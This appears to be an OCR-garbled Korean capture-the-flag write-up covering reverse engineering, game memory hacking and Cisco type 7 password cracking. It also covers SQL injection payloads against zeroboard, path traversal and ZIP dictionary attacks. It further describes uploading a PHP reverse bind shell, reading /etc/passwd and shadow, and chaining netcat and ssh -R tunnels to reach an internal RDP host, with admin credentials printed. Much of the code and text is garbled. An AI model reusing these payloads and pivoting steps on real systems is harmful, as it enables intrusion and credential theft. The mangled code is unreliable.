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HustEncrypt.exer= HT 3dS Yo o5
OllyDbg® o] §-dlo] A& Wz} otag TR
8 CPU - main thread, module HustEncr

8048148 . 85F6 TEST ESI,ESI
B084814B5| ..76 24 JBE SHORT HustEncr.884014DB
BB4081487| . 8BDO MOV EDX, EAX
88481483 . 8BCD MOV ECX,EBP
80401488 . 2BDS SUB EDX,EBP
8084814B0| . 8BFE MOV EDI,ESI

> SAB46A MOU AL,BYTE PTR DS:[EDX+ECK]
aa4014C2| . 32C3 XOR AL,BL
Ba4014C4) . 92681 MOV BYTE PTR DS:CECK], AL
Ba4a14Ce| . 25 FFOB0006 | AND ERX, BFF
8a4814CB| . CL1EB 93 SHR EBX, 2
Ba4a14CE| . SBB42S BO9@41( MOV EAX,DWORD PTR DS: [ERX#4+4196EG]
2401405 . 3308 XOR EBX, ERX
28401407 . 41 INC ECX
B884814038| . 4F DEC EDI
00401409, .75 E4 JNZ SHORT HustEncr.B@04014BF
BB468140B| > 8B7C24 1C MOV EDI,DWORD PTR SS:[ESP+1C]
0840140F| . 8D4C24 24 LEA ECX,DWORD PTR SS:[ESP+241]
BB4814E3| . 6A 00 PUSH @
B084814ES5| . 51 PUSH ECX
BB40814E6| . 56 PUSH ESI
084014E7| . 55 PUSH EBP
B04014E8| . 57 PUSH EDI
B84814E9| . FF15 18424100| CALL DWORD PTR DS:[<&KERNEL3Z.WriteFile
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<stdio.h®
int tekle[100007 ;
unsigned char pw[l0000] ;
unsigned char ans[10000] ;
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int mainiint argo, char**  arogw)
FILE* fp=fopen|"key.cxt" M"r™);
P ILE™® fp_.—fr-p:ni"u_II SEXEI Hggth) »
int
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int ] e = B
freadi le, 1C a '/ keytables =L+,
foloze (fp)
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flag=0;
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anz[z] =v:
++L ladg;

if(flag'=1)
perror ("ERROR\ ™) ;
exit () ;
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Java DecompilerE ©]8&3s}o] JARFLS gxiztd g A3 AAFTEO|A
host = '220.95.152.32'
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Temp =
if data=-

temp=§1
end
puts temp
t=[1
if temp=~/([0-2]1%] . 1n{[0-9]1%) {(.) (...} ([0-9]%) ([O0=-2]4) . ([+=]) . ([O0=-2]*)% " ([0-3] %) o... ([0=-2]+1/
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end

ti=t[0]. i EEE 22 .
lr=t[1] 1

pml=t[2]

Ssam=t [ 3]

Fanmval=t[4] .to_ i

root=t[5].to 1 *% 0.5

prz=t [ 5]

power=t[7].to_1i %% £[5].to_ 1

last=t[2] .to_1i

ans=tl1*Math.logln)

twval=0.1

pi=3.,141592 65358¢

if zam=~/=in/
twal=Nath.zini(sarral pi/ 130.0)

elzif saw=-~/cos/
tval=Nath.cos (samval *pi/180.0)

else
twal=Nath.tan(sarral pi/ 180.0)

end

if prl=~/\+ g+ HEF = 2o HE A,
=ans+tvalFroot

o]

ans=ans-tval*root
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end
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if pmz= /
ans=ans+power/ last

clze
ans=ans-powver/ last

moom
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end
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puts ans

puts ans.t
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51453d569d5d475375eaact;

24 ziteE FOST.
rea,data=host.post ("/QUEST/ -4/chivasPegal . html™, "vPasavdTo="+ans.to i.to s+"evPasswvdOPT="+opt,h)
puts datsa B a
res,data=hnst.pmst(”ngEHTfA—&fmﬁkgnrlri.php",”TP&EEMHTO=”+ans.ta_i.tm_s+"i*PﬁEEMdﬁPT="+npt,h)

wmld & .

i”fﬁUEﬁTfi—&fjhckbhhiel:.html";“TPhssdeo=“+ana.ta_i.to_s+”£TPﬁE:mdﬁPT="+opt,h)
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100.

100
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<!DOCTYPE HTHML PUELIC "-//U3C//DTD HTML 4.0 Transitional//EN">
~HTHL:

<HELD:

<TITLE> = =A% = </TITLE>
</ HELD>

<BODT:=-
<TAELE width="100%" height="100%" bhorder="0" cellpadding="0" cellspacing="or:-
=~ TR
<Th=
<TAELE width="500" bhorder="1" cellpadding="0" cellspacing="0" Align="center':

<TER=
<TD> A T/ TDx
<To=-0] & A F 1</ Ths

< TH=

<TR>
<To=-BAE g2 S99/ 10
2TDh=z009 </ TD=

ZTD> Hé% % I'_““ ‘-Tl ‘_‘l-l </ T
<TD>EBy doubting we come &t the truth</TDh:
</ TR
</ TAELE>
< Th
</ TR
</ TRELE>
</ BODT>
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signed int _ cdecl sub_483D36()
{
int ve; /7 edx@1
int v1; 7/ eax@2
int v2; f// ecx@2
signed int result; // eax@3
signed int vk; /7 eax@2

Ul = dword_48F570;
do
{
dword LOF53C = vi;
ul4 = sub_4BYECA{);
dword 48E39C = dword 48FS53C;
dword_4OF578 = vh % 7;
Ul = sub_483A3A();
H
while { vl });
dword 4OBF568 = 8;
dword_40F54h = 3;
dword_48F518 = ui;
sub_4e1278{v2);
sub_4818846();
result = sub_481398(dword 4BF568, dword 4BF5L4L);
if { result )
{
KillTimer{h¥Wnd, 1u);
dword_40F588 = B;
result = HessageBoxA(hWnd, "2|2?", "HEZ| ~",
if { result == 6 )

result = SendHessageA(hWnd, 8x281u, 8, 6947124);

H

return result;
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00000EDO-T etris.exe
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EEC]

Found: 0

Address ] Value

I First Scan

Yalue:

Undo scan | aifmn

Sett

ings

I~ Hexl

Scan type I Exact Value

Yalue type I 4 Bytes

Memory Scan Options

¢ 16-Bit
From

* 32-Bit
To

Al

| 00400000 | 7FFFFFFF Show
[~ Also scan read-only memory

I~ Hyper Scan

\] I~ Pause the game while scanning

I~ Fastscan

I~ Unrandormizer

" Enable Speedhack

Memory view Q] Add address manually
Frozen I Description I Address I Type ] Value ;]
o No description 0040F510 4 Bytes 72
o X 0040F568 4 Bytes 7
I} i 0040F544 ytes 77
ul BlockMNow 0040F53C 4 Bytes ??
I~ blackColor 0040E33C 4Bytes 77
I~ No description 0040F570 4 Bytes 7
I~ No description 0040FE0C 4 Bytes 7
u No description 0040F518 4 Bytes 7
I~ No description 00410078 4 Bytes 7
Advanced options ? |
o] = = 1B = S s
e o g3d KeyE 8502 T84 dd 953U

1= W22 Cheat Engineo 2 ZA3lo] 99} 7o
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HE HFE A~Bo etFEI2] WS running-conlig M S ;
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Building configuration...

Current confiquration : 911 bytes

*

version 12.3

service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

*

hostname HUSTRouler

4

boot-start—-marker

bootr-end-marker

 §

H

username root priuilpgo 15 passwvord 7 913027227EBAVBUA334S4DER1/70AS653
memory-size iomem S

no aaa new-model

ip subnet-zero

po max-events 160
server write-enable

S|l A A} cisco9 type 7 passwordile AE & 4 A

o

Take the type 7 password, such as the text above in red, and paste it into the box below and click "Crack Password",

Type 7 Password: 013027227 e0a0b0a33454d08170a5653

Crack FPassword

Plain taxt: | AFEamericanoll

7heksl 4 o] crack tool® KEYE 92 4 9dv).

http://www.ifm.net.nz/cookbooks/passwordcracker.html
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zeroboard pl8& A& A|A|Fo|t},
AA B 3707 AL, bOard_1S 227] @gko] 13t}

zeroboard pl8d] o} FHokA & XSS FHokd Hbo 1%, 07 59 23Y WAolg 119 1¥9 A7} 5
A HTTP_ENV_VARS o #dH HAFHAE s 2 A7 AFakA &t

o 717 A28 & ByAT njEFE S F vk
Tt} HINTZF XSS7F oFy a1, del_quel ©]te AL €3 write_ok.php?] &AX~F=E F418] W9k}

mode”} modify ¥

@mysql_query("update $t_board"." _$id set headnum='$headnum',prev_no='$prev_no',

next_no='$next_no',child='$child',depth="$depth', arrangenum='$arrangenum’, father='$father' name='$na
me',email='$email’ homepage='$homepage',subject='$subject’, memo='$memo’,sitelink 1 ="$sitelink 1' siteli
nk2="$sitelink?2',use_html='"$use_html' reply_mail='$reply_mail'is_secret='$is_secret',category='$catego

ry' $del_quel $del que2 where no='$no'") or error(mysql_error());

old Hgl&E ALt} AT $del_quel $del_que2= =718t HA &L WSo|al, file_name©] JAY
del_filel Fo] &ujqt Fro] AGHr}

if($del_filel==1) {@z_unlink("./".$s_datalfile_namel]);$del_quel=" file_namel=",s_file_namel="";}
if($del_file2==1) {@z_unlink("./".$s_datalfile_name2]);$del_que2=" file_name2="s_file_name2="";}
if($file_namel) {$del_quel="file_namel='$file_namel' s_file_namel='$s_file_namel';}

if($file_name?2) {$del_que2="file_name2='$file_name?2' s_file_name2='$s_file_name?2';}

“

3, AR =& A 3o e A
[e)

S 54 &3 4 & AH$ sql injection®] 7FedttE A S

T A AFEEA 9 email fieldE del_quel BE2 WAl A postE sl

¢4 ndZFQd board_19] 29127 3WMEE 1] 984,

o] AFHE memo e vhAl A A E FHAC,

, memo=(select memo from zetyx_board_bOarD_1 where no=3)

o] -2 AlEstd, ¥ 9= memot del_quelXrt} ¢Hol] EAFN A mysqld set> o= 2 WA A
1 Holgde=d A"elr] wiEd A FEOE nested queryE =& B2 YL dboA AR ¢
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(D) {@ http://festival, hust,net:499/bbs/view, php

wif

721f214d3c9de 37d58a5b38c55e651c7

HHE & & NzEo 22 AHSHAM AN S LIEHHE &
SHHAH M8 F2I120H 201 A

v U8 TABLE_NAME® 721{214d3c9de37d58a5b38c55e651¢7 o] XA}

old= Y& dolyl
A DB ©o]&S doll7] Yal information_schemacol|] Asle] Loy A gt

dolont o AEZ AFe] 57 ol A Holol gl g ohulol s 2 Rk,
ﬂ

TABLE_NAME®] '7211214d3c9de37d58a5b38¢55e651¢7'E& Yo gl 91} magic_quotes_gpe 340] #
% 9d+= PHPAWE 7F W= E97F= vl#d string & queryE 24T 4 A0},

AR

DBNAMES ¢ohli7] Haf #Hel&

, memo=(select SCHEMA_NAME from information_schema.SCHEMATA limit 1)
ol& A AAs9A T, information_schema’} Y$3 order by 1 ascH descE
Yo = information_schema”} Y& tE AdtzALS dojnr|2 a9},

aHA BHE FHeot vk Aol

, memo=(select SCHEMA_NAME from information_schema.SCHEMATA

where length(SCHEMA_NAME)<10)
o] A& o] &3} blgBaNG ©]gt= SCHEMA_NAMES 44 4 99t}

o] COLUMNSO| A TABLE_NAME®] Ao|& Aletalo] Fe2 afe] slort, A
Atk limit 1 59 Age YolA e BoH T, order byE AHSHE A A1
9T AS Wie Ad L Ayt o|EF O A8 4+ ¢t

29| W, o] Ae] LAE HUST AARE] Q&Ad] AAo] ofuwl ol 4= gl
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T AERL 92 F AN, o)F AFA BF AYE 59

, memo=(select P from blgBaNG.721{214d3¢c9de37d58a5b38cH5he651c7 limit 1)
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oo 1b 7T
00 3c cB
02 07 Oe
ff bd a3
T 74 Bd
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03 19 Ba 00
52 40 00 80
239 00 15 B8
ba OO0 0O 50
71 73 Bc G5

hex3E 7rolA ul= HxDo
Offsec (h) 00 01 02 03 04
gooooooo oo 1B 77 03 19
00000010 00 3c C8 52 40
ooooooz0 02 07 0E 29 00
gooooo30 FF BD A3 BA OO0
goopooo40 71 74 6D 7?1 73
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Cc2

o 714 A& std . download.php’} £Ag = AMES LA HA, Z227] 9552 input.php?]
password form?| ©]Z9] file¢l AL $47A o174 download.php?file=../show.php = H| <l #Ho] A 2] php
SmTE B 4 9ot}

= =

$sid=5_SESSION['name'];

ifl$ sic==%idid)
i
T

<a href="solution.php" color="red ">

7t
else {a

T
T

o] 19| solution.phpE ©]481A oA o]& t}L=zr o 21}
/O E ./

$result=mysgl_query("select = from member where num="1"};
scmp=mysgl_fetch_array($result);

tscmp [namel:

if ($cmplnamel==§_SESSION['name'] || $cmplpasswd]==$_SESSION['passwd'])
{echo("T~ :2844a5d550409f91 d268ef1 500=304cc "

i

else

|
echo("2E~ =2 AT 0ld=0l..s 5 "

i

>~
@]

<

i
ne
o
>
%o,
22
ivd



WireSharkE ©]8-5}9] AL okgrrl

2

1S BAe A3 FTPO A&t}

rr

aracodel.zip¥} aracode2.zip2 T2 L ToivtE AR S &9kt

19375, 736667 2102531580125 120 127017 7.162 FTPT Responses 2000 Type set to T.

197 i 814562 211 253 158 125 121.127.177.162 FTP Response: 200 Port command su
211.255.158.125 FTP Request: RETR aracodel.zip

201 5.800043  211.253.158.125 121.127.177.162 FTP Response: 150 Opening data o

529 7.711579 211.253.158.125 121.127.177.162 FTP Response: 226 File sent ok

663 12.835678 121.127.177.58 121.127.177.162 FTP Response: 350 REST supported.
667 12.844258 121.127.177.58 121.127.177.162 FTP Response: 350 REST supported.
aElel Azl tegelnaly alzilalaly'saledes i 121.127.177.162 FTP Response: 200 Type set to I.
Al abe) - elEp il alzal alniy s alye s Hie 121.127.177.162 FTP Response: 200 Port command su
674 12.876360 121.127.177.58 121.127.177.162 FTP Response: 150 Opening data co

RKRGGQ 12 GG22G2 1271 127 177 &R 121 127 177 1R2? FTP ReRsnnns/R* 22A File sant nk

] Frame 198 (73 bytes on wire, 73 bytes captured)

# Ethernet II, sSrc: AasustekC_6c:e5:83 (00:13:d4:6c:e5:83), Dst: Dasan_2c:01:75 (00:d0:c
@ Internet Protocol, Src: 121.127.177.162 (121.127.177.162), Dst: 211.253.158.125 (211.
+ Transmission Control Protocol, Src Port: health-polling (1161), bpst Port: frp (21), S

@ File Transfer Protocol (FTP)

H B B

0000 00 dO cb 2c 01 75 00 13 d4 6¢C 25 83 08 00 45 00 ceeselde. .1....E.
0010 00 3b 08 3d 40 00 80 06 54 e3 79 7f bl a2 d3 fd ese=B... ToVeeonn
0020 ©Se 7d 04 89 00 15 79 7a 7f 93 95 1d cf 27 50 18 N PR, * v JERTR 'P.
0030 ff 4e 9d ca 00 00 52 45 54 52 20 61 72 61 63 6f .N....RE TR araco
0040 64 65 31 2e 7a 69 70 0d 0Qa del. 21p

RO 7 FE o] F FIdE dojHloy, 4F d5rt AYgle] dESE F T /ldTh
Q S vild = Ci%Documents and' Settings¥WyjwHES ot HW2ip¥Waracodel. zip - |[O][x :
OH(F) &#(E) £F(0) =S2(H)

Q| & 3 @ & . o829 2 greiie
THE Mt HIAE )

MEZE 22D | DEFI LEE 27| —
20 X| 0IE | i =8 | SPll [Eg 0 || = | Bt
{3 aracodel.zip aracodel, txt+ 28 24 0% HAE ZM 200
gmaracodel,bmp+ 19[;337 23RARM Q1% SHW RMP TH! 200

| @ 2==7 - aracodel.zip

orgele [x]

2T E YR
aracode | txt

UEE -2 EAFIIE)
| =2 |

CIEAE2HEEB) I 2 AIZAIR) F a(C)
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JRloz2RH &4F T E oy oy IAHEFHo|z, ZIP 45 I8 5

aracodel.zip= %357} academician®| 13 aracode2.zip= 457} cream©| %

Y AZPR 4.00 - 0%

Advanced ZIP Password Recovery
Ea‘?ﬂﬁﬁ@@aﬁ

Open Save Start ! Stop Benchmark  Help About Quit
Encrypted ZIP-file Type of attack
||r'xg’::"-._-,11"-.H}%? = i "-‘zip"-..arax::n:wdrﬂ,zipl 2% - | | |Dictionary

Password successfully recovered !

Advanced ZIP Password Recovery statistics:
Total passwords 1.274
Total time 7ms
Average speed (passwords per second) |182,000
Password for this file academician (]
Password in HEX 61 6361 64 656d 6963 63 61 Be L_G
H Save... V oK
— — i
2008-10-11 27 12:24:48 - ‘academician' is a valid password for this file b
Current password:  academician Average speed: 318,500 p/s
Time elapsed: Time remaining:
Dictionary attack in progress, processed 1,274 password(s)

| 0%
AZPR version 4.00 [c) 1997-2005 ElcomSoft Co.Ltd.

¥) AZPR 4.00 - 19%

Advanced ZIP Password Recovery
g " 82 A & 0 0 §

Open Save Start | Stop Benchmark  Help About Quit

Password successfully recovered !

Advanced ZIP Password Recovery statistics:

Total passwords 46,951
Total time 22ms
Average speed [passwords per second) (2,134,136
Password for this file cream s
Password in HEX 63726561 6d q)_‘]
H Save... v oK
and Settings\wi\HHEN 2H3 \ziph A

2008-10-11 2 8 12:25:37 - Starting dictionary attack...
20081011 27 12:25:37 - Password successfully recovered |
20081011 & 12:25:37 - 'cream' is a valid password for this file

£

Current password:  cream Average speed: 2,347,550 p/s
Time elapsed: Time remaining:
Dictionary attack in progress, processed 46,951 password|(s)

E— 19%

AZPR version 4.00 [c) 1997-2005 ElcomSoft Co.Ltd.
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AX RS AR 2 A, 97 YAA post form HloJE|E $A38t0] admine® F& 7Yl 7HssFol T
2 R

= 29| 2t}

A o)% Foto] gJEo)A, uploadd = HHEERYE Zogil ofg 714 AXRE st /uploadets ¥
B E 2 g

phpd A& =3 reverse bind shell ¢ 2423782 J2E o A, shelle 5 5 JAv).

4 43 W F BE AAFEE BYEd, A7A downloaddhs #YE HHSQA ofnp A AR
upload A=2E Zolll= Aeo] & LA xgtar Az HA

SAT oA 2rmt BE BAES 2E F AUk

sHEEYE B7] Yell  Jete/passwd ¢ FHHEZES BokEH, AREA AFol H ey
administratorgt= AR wo] SoeH Eg7} A8+ ).

administrator?®) S Eg] 9to|= sudo_as_admin_...o] " 1 &+ Obyte #A2] o] AR E=d], o] A o]

Aol = L1 sudoE ANESY e 7HAE o BYgov) vEHEE EE11 passwd, shadow #&H

51 o)
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a7 Y2 91 EZ} ifconfig®t admin.

ifconfig® 192.168.200.10°] 2}= WH- UM EY A7 SAldrhs AREE ot

192.168.200.102.2 & ofix]7} EolgttpAY e = ¢, 1 AoA databaseE HAF A= &9
AL NEHF 2 admin // djemals@ © & 192.168.200.100] thsk 1 H&ES A9t

AW} AFHANA  (ne my_server 4000) | nc 192.168.200.10 80
my_server 9|4 (nc -1 -p 3333) | nc -1 -p 4000

o]Z A portE redirectsld] 192.168.200.100.2 ¢ HZES A x=slY

==
AW olgl FEL AT gL AxmEs dehet Qo BA, AVANeE FES i Lo,



o]F npetstat —an O & Yo} A}

tep 0 0 192.168.200.10:44900 192.168.200.11:135 ESTABLISHED

tep 0 0 220.95.152.61:41605 218.234.19.87:7172 ESTABLISHED

tep 0 0 220.95.152.61:80 125.187.131.20:61833 TIME_WAIT

tep 0 0 220.95.152.61:80 125.187.131.20:61825 TIME_WAIT

tep 0 0 192.168.200.10:51055 192.168.200.11:135 ESTABLISHED

tep 0 0 220.95.152.61:80 143.248.249.170:1488 ESTABLISHED

tep 0 0 220.95.152.61:41021 168.131.44.140:55555 ESTABLISHED

tep 0 0 192.168.200.10:44903 192.168.200.11:135 ESTABLISHED

tep 0 0 220.95.152.61:37374 143.248.235.249:4337 ESTABLISHED

tep 9856 0 220.95.152.61:33546 143.248.235.249:4334 CLOSE_WAIT
192.168.200.11 olgh= AW7F EAlgtt= AL 4%il, windowsd rpeXEQ] 13500 dEd= AE 3
a9 5 AT

T4 windowsehe Az}l 33891 57} Adsol gt ne® e a8 E A FED & ATk
port redirect® 97 dAaYE dolof gt EAE FAvhEo] sshe TE ¥9d, gL A& A

&g Awag

WA GNU netcat vlo]H 8 E wget2 E3] AW E Y1l netcat -L 192.168.200.11:3389 —p 33389 &
st o gl wha] Qlo] F&o] HA Ut Wey S 9537 A9 WHE Y F SSH XE ¥ 9
9S Aztg)a ssh -R 33389:143.248.2.56:33389 & & W3S ¢3d & JAr}. 143.248.2.569]
33380 YE7J} 9|Ro|A dZo] HZH 0}71] 127.0.0.1 = vy =)o) o]A 143.248.2.56 AH A%

netcat —L localhost:33389 -p 3389 & T4 95 Y% Fo|A 143.248.2.56°2 2 Remote Desktop2 A
dd F e s A9
D¢} vEHTE databaseo A & admin® B EHF ¢ admin // djemals@ 2 A}8-3}% ),
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